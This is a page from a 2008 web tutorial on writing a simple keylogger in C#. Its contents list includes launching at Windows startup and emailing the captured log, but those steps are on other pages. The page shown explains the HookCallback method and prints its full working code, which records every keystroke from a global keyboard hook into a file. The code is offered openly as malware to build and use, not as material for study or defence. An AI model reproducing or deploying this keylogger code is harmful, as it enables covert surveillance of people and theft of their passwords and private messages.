Creating a Simple Key Logger in C#

Written By: Dragos Nicholas

- 13 Sep 2008 -
















Description: Learn how to program a simple key logger with the help of C# and the .NET Framework. And that's not all, it saves the keystrokes into a file and periodically sends the file as an email attachment.

  1. Creating the Project
  2. Running the Key Logger at Windows Startup
  3. You've Got Mail
  4. Intercepting Keystrokes
  5. The HookCallback Method
  6. API Methods
  7. Possible Errors

The HookCallback Method

This is my HookCallback method.

You can see what nCode, wParam and lParam are in the API methods, part c), at the end of this article.

If nCode is greater than 0, than a keystroke has occurred. We open a streamwriter (sw) in order to write the input in the file. Again, appstart.path is the location of the file.

In the vkCode variable we remember the code of the the key associated with the key that the user has pressed. If Shift is being pressed (Keys.Shift == Control.ModifierKeys – meaning Shift is pressed in combination with another key, like a letter, then the shift variable (it is declared in the appstart class) will change itself to 1.

In the following switch statement, we check what key code matches the number in vkCode. For example, if the key pressed is Tab, then, with the help of the streamwriter, we write " TAB" in our file.

The default part of our switch takes care of the combinations of keys with Shift or Caps. If Shift is being pressed + "a" for example, we will type "A" in our file.

Of course, you can change the switch regarding your needs.

After the switch, we reset the shift variable to 0, to be ready for the next user input.

Don't forget to close the streamwriter: sw.Close();

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        StreamWriter sw = File.AppendText(appstart.path);
        int vkCode = Marshal.ReadInt32(lParam);
        if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;
                
        switch ((Keys)vkCode)
        {
            case Keys.Space:
                sw.Write(" ");
                break;
            case Keys.Return:
                sw.WriteLine("");
                break;
            case Keys.Back:
                sw.Write("back");
                break;
            case Keys.Tab:
                sw.Write("TAB");
                break;
            case Keys.D0:
                if (appstart.shift == 0) sw.Write("0");
                else sw.Write(")");
                break;
            case Keys.D1:
                if (appstart.shift == 0) sw.Write("1");
                else sw.Write("!");
                break;
            case Keys.D2:
                if (appstart.shift == 0) sw.Write("2");
                else sw.Write("@");
                break;
            case Keys.D3:
                if (appstart.shift == 0) sw.Write("3");
                else sw.Write("#");
                break;
            case Keys.D4:
                if (appstart.shift == 0) sw.Write("4");
                else sw.Write("$");
                break;
            case Keys.D5:
                if (appstart.shift == 0) sw.Write("5");
                else sw.Write("%");
                break;
            case Keys.D6:
                if (appstart.shift == 0) sw.Write("6");
                else sw.Write("^");
                break;
            case Keys.D7:
                if (appstart.shift == 0) sw.Write("7");
                else sw.Write("&");
                break;
            case Keys.D8:
                if (appstart.shift == 0) sw.Write("8");
                else sw.Write("*");
                break;
            case Keys.D9:
                if (appstart.shift == 0) sw.Write("9");
                else sw.Write("(");
                break;
            case Keys.LShiftKey:
            case Keys.RShiftKey:
            case Keys.LControlKey:
            case Keys.RControlKey:
            case Keys.LMenu:
            case Keys.RMenu:
            case Keys.LWin:
            case Keys.RWin:
            case Keys.Apps:
                sw.Write("");
                break;
            case Keys.OemQuestion:
                if (appstart.shift == 0) sw.Write("/");
                else sw.Write("?");
                break;
            case Keys.OemOpenBrackets:
                if (appstart.shift == 0) sw.Write("[");
                else sw.Write("{");
                break;
            case Keys.OemCloseBrackets:
                if (appstart.shift == 0) sw.Write("]");
                else sw.Write("}");
                break;
            case Keys.Oem1:
                if (appstart.shift == 0) sw.Write(";");
                else sw.Write(":");
                break;
            case Keys.Oem7:
                if (appstart.shift == 0) sw.Write("'");
                else sw.Write('"');
                break;
            case Keys.Oemcomma:
                if (appstart.shift == 0) sw.Write(",");
                else sw.Write("<");
                break;
            case Keys.OemPeriod:
                if (appstart.shift == 0) sw.Write(".");
                else sw.Write(">");
                break;
            case Keys.OemMinus:
                if (appstart.shift == 0) sw.Write("-");
                else sw.Write("_");
                break;
            case Keys.Oemplus:
                if (appstart.shift == 0) sw.Write("=");
                else sw.Write("+");
                break;
            case Keys.Oemtilde:
                if (appstart.shift == 0) sw.Write("`");
                else sw.Write("~");
                break;
            case Keys.Oem5:
                sw.Write("|");
                break;
            case Keys.Capital:
                if (appstart.caps == 0) appstart.caps = 1;
                else appstart.caps = 0;
                break;
            default:
                if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
                if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
                if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
                if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
                break;
        } //end of switch
        appstart.shift = 0;
        sw.Close();
    }    
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
} //end of HookCallback method 

<< Previous

Next >>